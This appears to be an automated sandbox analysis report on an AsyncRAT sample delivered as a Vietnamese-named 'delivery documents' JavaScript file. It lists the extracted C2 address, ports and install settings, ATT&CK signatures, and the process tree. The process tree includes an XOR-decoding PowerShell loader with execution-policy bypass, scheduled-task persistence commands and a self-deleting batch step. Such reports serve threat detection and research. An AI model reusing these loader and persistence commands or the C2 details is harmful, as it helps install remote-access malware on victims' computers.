Analysis
- max time kernel
148s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
15/07/2026, 07:23
General
- Target TÀI LIỆU GIAO HÀNGtz0.js
- Size 396KB
- Sample260715-h77aaaet2m
- SHA256 fe9faa53e2c69c974ef6e08493beb7a85ec307f34721f53ef2d979d59778279e
Malware Config
Extracted
-
asyncrat
-
0.5.8
-
Default
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216.250.250.247:6606
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216.250.250.247:7707
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216.250.250.247:8808
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216.250.250.247:4521
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4Dz7bMWcYYlR
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delay
3
-
install
true
-
install_file
dilil ok.exe
-
install_folder
%AppData%
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local_host
127.0.0.1
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Async RAT payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Executes dropped EXE 2 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 35 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\TÀI LIỆU GIAO HÀNGtz0.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "PhotoStudioJS" /xml "C:\Users\Admin\AppData\Local\Temp\Task_11676.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
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C:\Windows\system32\wscript.exewscript.exe1⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w 1 -nop -ep bypass -c "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\cfg_23319_1d3d').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cfg_23319_1d3d' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0x41};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};&([ScriptBlock]::Create($sc))"1⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dilil ok" /tr '"C:\Users\Admin\AppData\Roaming\dilil ok.exe"' & exit2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "dilil ok" /tr '"C:\Users\Admin\AppData\Roaming\dilil ok.exe"'3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7CD7.tmp.bat""2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\timeout.exetimeout 33⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
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C:\Users\Admin\AppData\Roaming\dilil ok.exe"C:\Users\Admin\AppData\Roaming\dilil ok.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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-
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C:\Users\Admin\AppData\Roaming\dilil ok.exe"C:\Users\Admin\AppData\Roaming\dilil ok.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Task_11676.xml
__PSScriptPolicyTest_r450jgzi.lzo.ps1
cfg_23319_1d3d
tmp7CD7.tmp.bat
dilil ok.exe
memory/1824-23-0x0000000007650000-0x00000000076C6000-memory.dmp
memory/1824-29-0x0000000007780000-0x00000000077A0000-memory.dmp
memory/1824-11-0x0000000005B80000-0x0000000005BE6000-memory.dmp
memory/1824-10-0x0000000005B10000-0x0000000005B76000-memory.dmp
memory/1824-14-0x0000000005BF0000-0x0000000005F4B000-memory.dmp
memory/1824-15-0x00000000060C0000-0x00000000060DE000-memory.dmp
memory/1824-16-0x0000000006140000-0x000000000618C000-memory.dmp
memory/1824-7-0x0000000005410000-0x0000000005A5A000-memory.dmp
memory/1824-18-0x0000000007140000-0x00000000071D6000-memory.dmp
memory/1824-19-0x0000000006640000-0x000000000665A000-memory.dmp
memory/1824-20-0x00000000070A0000-0x00000000070C2000-memory.dmp
memory/1824-21-0x00000000077A0000-0x0000000007D5A000-memory.dmp
memory/1824-22-0x00000000083E0000-0x0000000008A5C000-memory.dmp
memory/1824-8-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1824-24-0x0000000007740000-0x0000000007776000-memory.dmp
memory/1824-25-0x0000000070B80000-0x0000000070BCC000-memory.dmp
memory/1824-26-0x0000000070D00000-0x000000007105B000-memory.dmp
memory/1824-9-0x00000000052F0000-0x0000000005312000-memory.dmp
memory/1824-30-0x0000000007D70000-0x0000000007E13000-memory.dmp
memory/1824-31-0x0000000007E60000-0x0000000007E6A000-memory.dmp
memory/1824-32-0x0000000007EA0000-0x0000000007ECA000-memory.dmp
memory/1824-33-0x0000000007ED0000-0x0000000007EF4000-memory.dmp
memory/1824-34-0x0000000007F90000-0x0000000007FA6000-memory.dmp
memory/1824-35-0x0000000007FB0000-0x0000000007FB8000-memory.dmp
memory/1824-36-0x0000000000400000-0x0000000000412000-memory.dmp
memory/1824-40-0x0000000007FD0000-0x0000000007FE2000-memory.dmp
memory/1824-41-0x0000000074942000-0x0000000074943000-memory.dmp
memory/1824-42-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1824-43-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1824-44-0x00000000080A0000-0x000000000813C000-memory.dmp
memory/1824-6-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/1824-5-0x0000000002870000-0x00000000028A6000-memory.dmp
memory/1824-4-0x0000000074942000-0x0000000074943000-memory.dmp
memory/1824-54-0x0000000074930000-0x00000000750EC000-memory.dmp